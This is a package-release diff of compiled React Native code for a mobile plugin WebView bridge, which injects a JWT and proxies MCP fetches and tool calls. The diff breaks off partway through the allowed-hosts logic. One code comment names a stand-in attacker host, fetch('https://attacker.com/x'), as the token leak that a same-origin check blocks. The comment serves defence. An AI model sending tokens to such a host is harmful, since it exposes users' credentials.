@ateam-ai-mobile/ui 0.1.0 → 0.1.1

package/dist/index.js

@@ -40,28 +40,35 @@ __export(index_exports, {
   Plugin: () => Plugin,
   PluginSurface: () => PluginSurface,
   TableCardBlock: () => TableCardBlock,
+  TenantPicker: () => TenantPicker,
   TypingIndicator: () => TypingIndicator,
   UIActionsRow: () => UIActionsRow,
+  VoiceCallSheet: () => VoiceCallSheet,
+  WidgetHost: () => WidgetHost,
   WidgetWebView: () => WidgetWebView,
   buildPluginBridgeJS: () => buildPluginBridgeJS,
+  openWidget: () => openWidget,
   setClipboardProvider: () => setClipboardProvider,
+  setPluginWebViewExtraHosts: () => setPluginWebViewExtraHosts,
   setUIActionNavigator: () => setUIActionNavigator,
   useLightboxStore: () => useLightboxStore,
-  usePluginBridge: () => usePluginBridge
+  usePluginBridge: () => usePluginBridge,
+  useVoiceCall: () => useVoiceCall,
+  useWidgetHostStore: () => useWidgetHostStore
 });
 module.exports = __toCommonJS(index_exports);
 
 // src/AdasChatScreen.tsx
-var import_react4 = require("react");
-var import_react_native8 = require("react-native");
-var import_core7 = require("@ateam-ai-mobile/core");
+var import_react9 = require("react");
+var import_react_native11 = require("react-native");
+var import_core12 = require("@ateam-ai-mobile/core");
 
 // src/chat/MessageBubble.tsx
-var import_react2 = require("react");
-var import_react_native4 = require("react-native");
+var import_react7 = require("react");
+var import_react_native7 = require("react-native");
 var import_react_native_markdown_display = __toESM(require("react-native-markdown-display"));
-var import_core4 = require("@ateam-ai-mobile/core");
-var import_plugin_runtime2 = require("@ateam-ai-mobile/plugin-runtime");
+var import_core9 = require("@ateam-ai-mobile/core");
+var import_plugin_runtime6 = require("@ateam-ai-mobile/plugin-runtime");
 
 // src/chat/JobProgressBar.tsx
 var import_react = require("react");
@@ -228,9 +235,9 @@ var styles = import_react_native.StyleSheet.create({
 });
 
 // src/chat/UIActionsRow.tsx
-var import_react_native2 = require("react-native");
-var import_core2 = require("@ateam-ai-mobile/core");
-var import_plugin_runtime = require("@ateam-ai-mobile/plugin-runtime");
+var import_react_native5 = require("react-native");
+var import_core7 = require("@ateam-ai-mobile/core");
+var import_plugin_runtime5 = require("@ateam-ai-mobile/plugin-runtime");
 
 // src/providers.ts
 var _clipboard = null;
@@ -247,1515 +254,1573 @@ function setUIActionNavigator(navigate) {
 function getUIActionNavigator() {
   return _navigator;
 }
-
-// src/chat/UIActionsRow.tsx
-var import_jsx_runtime2 = require("react/jsx-runtime");
-var fontFam = import_react_native2.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
-var ICON_MAP = {
-  timer: "\u23F1",
-  memory: "\u{1F9E0}",
-  calendar: "\u{1F4C5}",
-  home: "\u{1F3E0}",
-  bell: "\u{1F514}",
-  star: "\u2B50",
-  bolt: "\u26A1"
-};
-function UIActionsRow({ actions }) {
-  if (!Array.isArray(actions) || actions.length === 0) return null;
-  const handlePress = (a) => {
-    (0, import_plugin_runtime.getHaptics)()?.selection();
-    const id = a.pluginId || a.target;
-    if (!id) return;
-    const focus = a.payload?.id || a.payload?.entity_id || a.payload?.focusId;
-    const surface = import_plugin_runtime.useSurfaceStore.getState().manifests[id];
-    if (surface) {
-      import_plugin_runtime.useSurfaceStore.getState().show(id, focus ? { focus } : void 0);
-      return;
-    }
-    const params = {};
-    if (focus) params.focus = String(focus);
-    if (a.intent === "suggested_action" && a.payload?.tool) {
-      params.tool = String(a.payload.tool);
-      if (a.payload?.args) {
-        try {
-          params.args = JSON.stringify(a.payload.args);
-        } catch {
-        }
-      }
-    }
-    if (a.intent === "quick_toggle" && a.payload?.verb) {
-      params.verb = String(a.payload.verb);
-    }
-    const navigate = getUIActionNavigator();
-    if (!navigate) {
-      console.warn("[UIActionsRow] no navigator registered \u2014 call setUIActionNavigator() in the host to handle plugin chips");
-      return;
-    }
-    navigate({ pluginId: id, params });
-  };
-  return /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.View, { style: styles2.row, children: actions.map((a, i) => {
-    const icon = a.icon ? ICON_MAP[a.icon.toLowerCase()] : null;
-    return /* @__PURE__ */ (0, import_jsx_runtime2.jsxs)(
-      import_react_native2.Pressable,
-      {
-        accessibilityRole: "button",
-        accessibilityLabel: a.description || a.label,
-        onPress: () => handlePress(a),
-        style: ({ pressed }) => [styles2.chip, pressed && styles2.chipPressed],
-        children: [
-          icon ? /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.Text, { style: styles2.icon, children: icon }) : null,
-          /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_react_native2.Text, { style: styles2.label, numberOfLines: 1, children: a.label })
-        ]
-      },
-      `${a.target || "a"}-${i}`
-    );
-  }) });
+var _extraHosts = null;
+function setPluginWebViewExtraHosts(getter) {
+  _extraHosts = getter;
 }
-var styles2 = import_react_native2.StyleSheet.create({
-  row: {
-    flexDirection: "row",
-    flexWrap: "wrap",
-    gap: 6,
-    marginTop: 10
-  },
-  chip: {
-    flexDirection: "row",
-    alignItems: "center",
-    gap: 6,
-    paddingHorizontal: 12,
-    paddingVertical: 6,
-    backgroundColor: import_core2.ada.orangeSoft,
-    borderColor: import_core2.ada.orange,
-    borderWidth: 1,
-    borderRadius: 14
-  },
-  chipPressed: {
-    backgroundColor: import_core2.ada.orange
-  },
-  icon: {
-    fontSize: 12,
-    lineHeight: 14
-  },
-  label: {
-    color: import_core2.ada.orangeDeep,
-    fontSize: import_core2.fontSize.xs,
-    fontWeight: "600",
-    fontFamily: fontFam
-  }
-});
-
-// src/chat/TableCardBlock.tsx
-var import_react_native3 = require("react-native");
-var import_core3 = require("@ateam-ai-mobile/core");
-var import_jsx_runtime3 = require("react/jsx-runtime");
-var fontFam2 = import_react_native3.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
-function TableCardBlock({ columns, rows }) {
-  if (!columns?.length || !rows?.length) return null;
-  const [titleCol, ...detailCols] = columns;
-  return /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.View, { style: styles3.wrap, children: rows.map((row, i) => {
-    const cells = Array.isArray(row) ? row : [row];
-    const title = cells[0];
-    return /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_react_native3.View, { style: styles3.card, children: [
-      /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.title, children: String(title ?? "") }),
-      detailCols.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.View, { style: styles3.details, children: detailCols.map((col, ci) => {
-        const value = cells[ci + 1];
-        if (value == null || value === "") return null;
-        return /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_react_native3.View, { style: styles3.row, children: [
-          /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.label, children: String(col) }),
-          /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_react_native3.Text, { style: styles3.value, children: String(value) })
-        ] }, ci);
-      }) })
-    ] }, i);
-  }) });
+function getPluginWebViewExtraHosts() {
+  return _extraHosts;
 }
-var styles3 = import_react_native3.StyleSheet.create({
-  wrap: {
-    marginVertical: 6,
-    gap: 8
-  },
-  card: {
-    backgroundColor: import_core3.ada.paper,
-    borderRadius: import_core3.borderRadius.md,
-    borderWidth: 1,
-    borderColor: import_core3.ada.border,
-    padding: import_core3.spacing.md
-  },
-  title: {
-    color: import_core3.ada.ink,
-    fontSize: import_core3.fontSize.md,
-    fontWeight: "600",
-    fontFamily: fontFam2,
-    letterSpacing: -0.2,
-    marginBottom: 6
-  },
-  details: {
-    gap: 4
-  },
-  row: {
-    flexDirection: "row",
-    alignItems: "flex-start",
-    gap: 8
-  },
-  label: {
-    color: import_core3.ada.inkMuted,
-    fontSize: import_core3.fontSize.xs,
-    fontFamily: fontFam2,
-    fontWeight: "500",
-    width: 84,
-    textTransform: "uppercase",
-    letterSpacing: 0.6,
-    paddingTop: 2
-  },
-  value: {
-    flex: 1,
-    color: import_core3.ada.inkSoft,
-    fontSize: import_core3.fontSize.sm,
-    fontFamily: fontFam2,
-    lineHeight: 18
-  }
-});
 
-// src/stores/lightboxStore.ts
+// src/plugin/WidgetHost.tsx
+var import_react6 = require("react");
 var import_zustand = require("zustand");
-var useLightboxStore = (0, import_zustand.create)((set) => ({
-  uri: null,
-  show: (uri) => set({ uri }),
-  hide: () => set({ uri: null })
-}));
+var import_core6 = require("@ateam-ai-mobile/core");
+var import_plugin_runtime4 = require("@ateam-ai-mobile/plugin-runtime");
 
-// src/chat/MessageBubble.tsx
-var import_jsx_runtime4 = require("react/jsx-runtime");
-var fontFam3 = import_react_native4.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
-function formatTime(date) {
-  const h = date.getHours();
-  const m = date.getMinutes().toString().padStart(2, "0");
-  return `${h}:${m}`;
-}
-function DaySeparator({ date }) {
-  const today = /* @__PURE__ */ new Date();
-  const yesterday = new Date(today);
-  yesterday.setDate(yesterday.getDate() - 1);
-  let label;
-  if (isSameDay(date, today)) {
-    label = "Today";
-  } else if (isSameDay(date, yesterday)) {
-    label = "Yesterday";
-  } else {
-    label = date.toLocaleDateString(void 0, { weekday: "long", month: "short", day: "numeric" });
-  }
-  return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: separatorStyles.container, children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: separatorStyles.pill, children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: separatorStyles.text, children: label }) }) });
-}
-function isSameDay(a, b) {
-  return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
-}
-var separatorStyles = import_react_native4.StyleSheet.create({
-  container: {
-    alignItems: "center",
-    marginVertical: 14
-  },
-  pill: {
-    backgroundColor: import_core4.ada.paperSoft,
-    paddingHorizontal: 14,
-    paddingVertical: 5,
-    borderRadius: 999
-  },
-  text: {
-    fontSize: 12,
-    fontWeight: "600",
-    color: import_core4.ada.inkMuted,
-    letterSpacing: 0.4,
-    fontFamily: fontFam3
-  }
-});
-function MessageBubble({ message }) {
-  const isUser = message.role === "user";
-  const isSystem = message.role === "system";
-  const isNotification = !isUser && message.kind === "notification";
-  const [copied, setCopied] = (0, import_react2.useState)("");
-  const showCopied = (0, import_react2.useCallback)((label) => {
-    setCopied(label);
-    (0, import_plugin_runtime2.getHaptics)()?.notification("success");
-    setTimeout(() => setCopied(""), 1500);
-  }, []);
-  const copyText = (0, import_react2.useCallback)(async (text) => {
-    const clipboard = getClipboard();
-    if (!clipboard) return;
-    await clipboard.setString(text);
-    showCopied("Copied!");
-  }, [showCopied]);
-  const handleLongPress = (0, import_react2.useCallback)(() => {
-    copyText(message.content);
-  }, [message.content, copyText]);
-  return /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_react_native4.View, { style: [styles4.row, isUser && styles4.rowUser], children: [
-    !isUser && !isNotification && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.avatarOrb, children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
-      import_plugin_runtime2.AdaOrb,
-      {
-        size: 28,
-        state: message.jobProgress?.status === "running" ? "thinking" : "idle"
+// src/plugin/PluginSurface.tsx
+var import_react5 = require("react");
+var import_react_native4 = require("react-native");
+var import_core5 = require("@ateam-ai-mobile/core");
+var import_plugin_runtime3 = require("@ateam-ai-mobile/plugin-runtime");
+
+// src/plugin/Plugin.tsx
+var import_react4 = __toESM(require("react"));
+var import_react_native3 = require("react-native");
+var import_core4 = require("@ateam-ai-mobile/core");
+var import_plugin_runtime2 = require("@ateam-ai-mobile/plugin-runtime");
+
+// src/plugin/EmbeddedPluginWebView.tsx
+var import_react3 = require("react");
+var import_react_native2 = require("react-native");
+var import_react_native_webview = require("react-native-webview");
+var import_core3 = require("@ateam-ai-mobile/core");
+var import_plugin_runtime = require("@ateam-ai-mobile/plugin-runtime");
+
+// src/plugin/usePluginBridge.ts
+var import_react2 = require("react");
+var import_core2 = require("@ateam-ai-mobile/core");
+function usePluginBridge(pluginId, connectorId, commandBufferRef, wsRef) {
+  const webViewRef = (0, import_react2.useRef)(null);
+  const sendInit = (0, import_react2.useCallback)(() => {
+    const msg = JSON.stringify({
+      source: "adas-host",
+      pluginId,
+      message: {
+        type: "init",
+        payload: {
+          tenant: (0, import_core2.getTenant)(),
+          connectorId: connectorId || null,
+          mcpEndpoint: null,
+          slug: null,
+          skillSlug: null
+        }
       }
-    ) }),
-    isNotification && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.notificationLeftStripe }),
-    /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(
-      import_react_native4.Pressable,
-      {
-        accessibilityRole: "text",
-        accessibilityLabel: `${isUser ? "You" : isNotification ? "Notification" : "Ada"}: ${message.content}`,
-        accessibilityHint: "Long-press to copy",
-        onLongPress: handleLongPress,
-        style: [
-          styles4.bubble,
-          isUser && styles4.bubbleUser,
-          isSystem && styles4.bubbleSystem,
-          isNotification && styles4.bubbleNotification
-        ],
-        children: [
-          isNotification && /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_react_native4.View, { style: styles4.notificationHeader, children: [
-            /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.notificationHeaderIcon, children: "\u{1F514}" }),
-            /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.notificationHeaderText, children: "Notification" })
-          ] }),
-          message.attachments && message.attachments.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.attachments, children: message.attachments.map((att, i) => att.previewUri ? /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
-            import_react_native4.Pressable,
-            {
-              accessibilityRole: "imagebutton",
-              accessibilityLabel: `Photo${att.name ? `: ${att.name}` : ""}. Tap to enlarge.`,
-              onPress: () => useLightboxStore.getState().show(att.previewUri),
-              children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
-                import_react_native4.Image,
-                {
-                  source: {
-                    uri: att.previewUri,
-                    ...att.previewUri.startsWith("http") ? {
-                      headers: { Authorization: `Bearer ${(0, import_core4.getConfig)().tokenProvider.getToken()}` }
-                    } : {}
-                  },
-                  style: styles4.attachmentImage,
-                  resizeMode: "cover",
-                  onError: (e) => console.warn("[Image] Failed to load:", att.previewUri?.slice(0, 100), e.nativeEvent.error)
-                }
-              )
-            },
-            i
-          ) : /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.attachmentFile, children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.attachmentFileName, numberOfLines: 1, children: att.name }) }, i)) }),
-          isUser ? (
-            // Hide the "See attachment" placeholder when the bubble already shows the photo.
-            message.content && !(message.content === "See attachment" && message.attachments?.length) ? /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { selectable: true, style: styles4.userText, children: message.content }) : null
-          ) : renderAssistantContent(message.content, copyText),
-          !!copied && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.copiedBadge, children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.copiedText, children: copied }) }),
-          message.toolCalls && message.toolCalls.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(ToolCallsBadge, { calls: message.toolCalls }),
-          message.jobProgress && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(JobProgressBar, { progress: message.jobProgress }),
-          !isUser && message.actions && message.actions.length > 0 && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(UIActionsRow, { actions: message.actions }),
-          /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: [styles4.timeText, isUser && styles4.timeTextUser], children: formatTime(message.timestamp) })
-        ]
+    });
+    webViewRef.current?.postMessage(msg);
+  }, [pluginId, connectorId]);
+  const sendToPlugin = (0, import_react2.useCallback)(
+    (type, payload) => {
+      const msg = JSON.stringify({
+        source: "adas-host",
+        message: { type, payload }
+      });
+      webViewRef.current?.postMessage(msg);
+    },
+    []
+  );
+  const dispatchToWebView = (0, import_react2.useCallback)((cmd) => {
+    if (cmd.command === "__focus") return;
+    const msg = JSON.stringify({
+      source: "adas-host",
+      pluginId,
+      message: {
+        type: "plugin.command",
+        payload: {
+          command: cmd.command,
+          args: cmd.args,
+          correlationId: cmd.correlationId
+        }
       }
-    ),
-    isUser && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.View, { style: styles4.avatarSpacer })
-  ] });
+    });
+    webViewRef.current?.postMessage(msg);
+  }, [pluginId]);
+  (0, import_react2.useEffect)(() => {
+    const unsub = import_core2.pluginCommandEmitter.on("plugin-command", (cmd) => {
+      if (cmd.pluginId !== pluginId) return;
+      dispatchToWebView(cmd);
+    });
+    return unsub;
+  }, [pluginId, dispatchToWebView]);
+  (0, import_react2.useEffect)(() => {
+    if (!commandBufferRef) return;
+    const timer = setTimeout(() => {
+      const buf = commandBufferRef.current;
+      const remaining = [];
+      for (const cmd of buf) {
+        if (cmd.pluginId === pluginId) {
+          dispatchToWebView(cmd);
+        } else {
+          remaining.push(cmd);
+        }
+      }
+      commandBufferRef.current = remaining;
+    }, 1e3);
+    return () => clearTimeout(timer);
+  }, [pluginId, commandBufferRef, dispatchToWebView]);
+  const handleMessage = (0, import_react2.useCallback)(
+    async (event) => {
+      let data;
+      try {
+        data = JSON.parse(event.nativeEvent.data);
+      } catch {
+        return;
+      }
+      if (data.source !== "adas-plugin") return;
+      const action = data.message?.action || data.action;
+      const payload = data.message?.payload || data.payload;
+      const type = data.message?.type || data.type;
+      if (action === "mcp-fetch" && payload?.requestId) {
+        const { requestId, body } = payload;
+        try {
+          const result = await (0, import_core2.mcpFetch)(body);
+          sendToPlugin("mcp-fetch-result", { requestId, result, error: null });
+        } catch (err) {
+          console.warn("[PluginBridge] mcp-fetch ERROR:", err.message);
+          sendToPlugin("mcp-fetch-result", { requestId, result: null, error: err.message });
+        }
+        return;
+      }
+      if (action === "mcp-call" && payload?.requestId) {
+        const { requestId, toolName, args: callArgs } = payload;
+        if (toolName) {
+          try {
+            const rpcResponse = await (0, import_core2.mcpToolCall)(toolName, callArgs || {});
+            const result = rpcResponse?.result ?? rpcResponse;
+            sendToPlugin("mcp-result", { requestId, result, error: null });
+          } catch (err) {
+            sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
+          }
+          return;
+        }
+        const cId = payload.connectorId || callArgs?.connectorId || callArgs?.params?.connectorId;
+        const tool = payload.tool || callArgs?.tool || callArgs?.params?.tool;
+        const toolArgs = payload.args || callArgs?.args || callArgs?.params?.args || {};
+        if (!cId || !tool) {
+          console.error(`[PluginBridge] mcp-call missing params \u2014 connectorId: ${cId}, tool: ${tool}`);
+          sendToPlugin("mcp-result", { requestId, result: null, error: `Missing connectorId or tool in mcp-call. Got connectorId=${cId}, tool=${tool}` });
+          return;
+        }
+        try {
+          const data2 = await (0, import_core2.connectorCall)(cId, tool, toolArgs);
+          if (data2.ok) {
+            sendToPlugin("mcp-result", { requestId, result: data2.result, error: null });
+          } else {
+            sendToPlugin("mcp-result", { requestId, result: null, error: data2.error || "MCP call failed" });
+          }
+        } catch (err) {
+          sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
+        }
+        return;
+      }
+      if (action === "close") {
+        import_core2.pluginCommandEmitter.emit("plugin-close", { pluginId });
+        return;
+      }
+      if (type === "plugin.command.result" && payload?.correlationId) {
+        const ws = wsRef?.current;
+        if (ws && ws.readyState === WebSocket.OPEN) {
+          try {
+            ws.send(JSON.stringify({
+              type: "plugin-command-result",
+              correlationId: payload.correlationId,
+              result: payload.result,
+              error: payload.error
+            }));
+          } catch (err) {
+            console.warn("[PluginBridge] WS send failed, falling back to POST:", err.message);
+            await (0, import_core2.postCommandResult)(payload.correlationId, payload.result, payload.error).catch(() => {
+            });
+          }
+        } else {
+          try {
+            await (0, import_core2.postCommandResult)(payload.correlationId, payload.result, payload.error);
+          } catch (err) {
+            console.warn("[PluginBridge] Failed to send command result:", err.message);
+          }
+        }
+        return;
+      }
+    },
+    [sendToPlugin]
+  );
+  return {
+    webViewRef,
+    sendInit,
+    handleMessage
+  };
 }
-function renderAssistantContent(content, copyText) {
-  if (!content) return null;
-  if (!content.includes(import_core4.TABLE_BLOCK_OPEN)) {
-    return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(MarkdownBubble, { content, copyText });
-  }
-  const segments = [];
-  let cursor = 0;
-  while (cursor < content.length) {
-    const open = content.indexOf(import_core4.TABLE_BLOCK_OPEN, cursor);
-    if (open === -1) {
-      segments.push({ kind: "md", content: content.slice(cursor) });
-      break;
-    }
-    if (open > cursor) {
-      segments.push({ kind: "md", content: content.slice(cursor, open) });
-    }
-    const close = content.indexOf(import_core4.TABLE_BLOCK_CLOSE, open + import_core4.TABLE_BLOCK_OPEN.length);
-    if (close === -1) {
-      segments.push({ kind: "md", content: content.slice(open) });
-      break;
-    }
-    const payload = content.slice(open + import_core4.TABLE_BLOCK_OPEN.length, close);
-    segments.push({ kind: "table", content: payload });
-    cursor = close + import_core4.TABLE_BLOCK_CLOSE.length;
+function buildPluginBridgeJS(jwt, tenant) {
+  return `
+(function() {
+  function _dbg(msg) {
+    console.log('[PluginBridge] ' + msg);
   }
-  return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_jsx_runtime4.Fragment, { children: segments.map((seg, i) => {
-    if (seg.kind === "md") {
-      const trimmed = seg.content.trim();
-      if (!trimmed) return null;
-      return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(MarkdownBubble, { content: seg.content, copyText }, i);
+
+  // 1. Seed localStorage. JWT is required by web-shared plugin code
+  //    (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown
+  //    lives in EmbeddedPluginWebView (originWhitelist +
+  //    onShouldStartLoadWithRequest) \u2014 not here. Never log the token.
+  try {
+    localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});
+    localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});
+    _dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});
+  } catch(e) { _dbg('localStorage ERROR: ' + e.message); }
+
+  // 2. Intercept ALL fetch calls \u2014 proxy /mcp through the RN bridge
+  var _origFetch = window.fetch.bind(window);
+  var _mcpReqId = 0;
+  var _pendingMcp = {};
+
+  window.fetch = function(url, opts) {
+    var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';
+    var method = (opts && opts.method) || 'GET';
+
+    _dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));
+
+    // Intercept /mcp calls
+    if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {
+      _dbg('  -> INTERCEPTED /mcp, proxying via RN bridge');
+      return new Promise(function(resolve, reject) {
+        var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();
+        _pendingMcp[requestId] = { resolve: resolve, reject: reject };
+        window.ReactNativeWebView.postMessage(JSON.stringify({
+          source: 'adas-plugin',
+          action: 'mcp-fetch',
+          payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }
+        }));
+        setTimeout(function() {
+          if (_pendingMcp[requestId]) {
+            delete _pendingMcp[requestId];
+            _dbg('TIMEOUT mcp-fetch ' + requestId);
+            reject(new Error('MCP fetch timeout (30s)'));
+          }
+        }, 30000);
+      });
     }
+
+    // Inject Authorization header ONLY for same-origin requests. A relative
+    // path resolves against window.location.origin; an absolute URL must
+    // literally match. This stops a plugin from leaking the JWT to a foreign
+    // host via fetch('https://attacker.com/x') or via <base href>.
+    var sameOrigin = false;
     try {
-      const data = JSON.parse(decodeURIComponent(seg.content));
-      return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(TableCardBlock, { columns: data.columns, rows: data.rows }, i);
-    } catch {
-      return null;
+      var resolved = new URL(urlStr, window.location.origin);
+      sameOrigin = (resolved.origin === window.location.origin);
+    } catch (_) { sameOrigin = false; }
+    if (sameOrigin) {
+      opts = Object.assign({}, opts || {});
+      var h = opts.headers;
+      if (h instanceof Headers) {
+        if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }
+      } else {
+        h = Object.assign({}, h || {});
+        if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }
+        opts.headers = h;
+      }
     }
-  }) });
-}
-function MarkdownBubble({ content, copyText }) {
-  return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
-    import_react_native_markdown_display.default,
-    {
-      style: markdownStyles,
-      rules: {
-        code_inline: (node) => /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
-          import_react_native4.Text,
-          {
-            style: markdownStyles.code_inline,
-            onPress: () => copyText(node.content),
-            children: node.content
-          },
-          node.key
-        ),
-        fence: (node) => /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(
-          import_react_native4.Pressable,
-          {
-            onPress: () => copyText(node.content),
-            style: markdownStyles.fence,
-            children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: markdownStyles.fenceText, children: node.content })
-          },
-          node.key
-        )
-      },
-      children: content
+
+    return _origFetch(url, opts).then(function(res) {
+      _dbg('  <- ' + res.status + ' ' + urlStr.substring(0, 60));
+      return res;
+    }).catch(function(err) {
+      _dbg('  <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));
+      throw err;
+    });
+  };
+
+  // Handle results from RN host
+  function _handleHostMessage(d) {
+    if (!d || d.source !== 'adas-host') return;
+    var msg = d.message || {};
+
+    // mcp-fetch-result: response to intercepted fetch("/mcp")
+    if (msg.type === 'mcp-fetch-result' && msg.payload) {
+      var p = msg.payload;
+      var pending = _pendingMcp[p.requestId];
+      if (pending) {
+        delete _pendingMcp[p.requestId];
+        if (p.error) {
+          pending.reject(new Error(p.error));
+        } else {
+          pending.resolve(new Response(JSON.stringify(p.result), {
+            status: 200,
+            headers: { 'Content-Type': 'application/json' }
+          }));
+        }
+      }
     }
-  );
+  }
+
+  // 3. Override window.parent.postMessage (plugins use this in iframes)
+  window.parent = window.parent || {};
+  window.parent.postMessage = function(data, origin) {
+    if (data && data.source === 'adas-plugin') {
+      window.ReactNativeWebView.postMessage(JSON.stringify(data));
+    }
+  };
+
+  // 4. Also intercept direct window.postMessage
+  var origPost = window.postMessage.bind(window);
+  window.postMessage = function(data, origin) {
+    if (data && data.source === 'adas-plugin') {
+      window.ReactNativeWebView.postMessage(JSON.stringify(data));
+    }
+    origPost(data, origin);
+  };
+
+  // 5. Forward messages from RN host -> plugin
+  //    iOS: window 'message' event, Android: document 'message' event
+  window.addEventListener('message', function(e) {
+    try {
+      var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
+      if (d && d.source === 'adas-host') {
+        _handleHostMessage(d);
+        if (typeof e.data === 'string') {
+          window.dispatchEvent(new MessageEvent('message', { data: d }));
+        }
+      }
+    } catch(_) {}
+  });
+
+  document.addEventListener('message', function(e) {
+    try {
+      var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
+      _handleHostMessage(d);
+      window.dispatchEvent(new MessageEvent('message', { data: d }));
+    } catch(_) {}
+  });
+
+  _dbg('Bridge JS loaded. Waiting for plugin...');
+  true;
+})();
+`;
 }
-function ToolCallsBadge({ calls }) {
-  const [expanded, setExpanded] = (0, import_react2.useState)(false);
-  const label = calls.filter((c) => c.name === "send_message_to_skill").map((c) => c.args.skill_name || c.skill).filter(Boolean).join(", ") || "Tool call";
-  return /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_react_native4.View, { style: styles4.toolCalls, children: [
-    /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_react_native4.Pressable, { style: styles4.toolToggle, onPress: () => setExpanded(!expanded), children: [
-      /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.toolLabel, children: label }),
-      /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.toolChevron, children: expanded ? "\u25B2" : "\u25BC" })
-    ] }),
-    expanded && calls.map((tc, i) => /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_react_native4.View, { style: styles4.toolItem, children: [
-      /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.toolName, children: tc.name }),
-      tc.skill && /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_react_native4.Text, { style: styles4.toolSkill, children: tc.skill })
-    ] }, i))
-  ] });
+
+// src/plugin/EmbeddedPluginWebView.tsx
+var import_jsx_runtime2 = require("react/jsx-runtime");
+function EmbeddedPluginWebView({ pluginId, manifest, commandBufferRef }) {
+  const [error, setError] = (0, import_react3.useState)(null);
+  const token = (0, import_core3.getToken)();
+  const tenant = (0, import_core3.getTenant)();
+  const { webViewRef, sendInit, handleMessage } = usePluginBridge(pluginId, manifest._connectorId, commandBufferRef);
+  const url = (0, import_plugin_runtime.resolvePluginUrl)(manifest, tenant || void 0);
+  const bridgeJS = buildPluginBridgeJS(token || "", tenant || "");
+  const computeAllowedHosts = (0, import_react3.useCallback)(() => {
+    const hosts = /* @__PURE__ */ new Set();
+    const urls = [(0, import_core3.getCoreApiUrl)()];
+    if ((0, import_core3.getConfig)().voiceUrl) urls.push((0, import_core3.getVoiceApiUrl)());
+    try {
+      urls.push(...getPluginWebViewExtraHosts()?.() || []);
+    } catch {
+    }
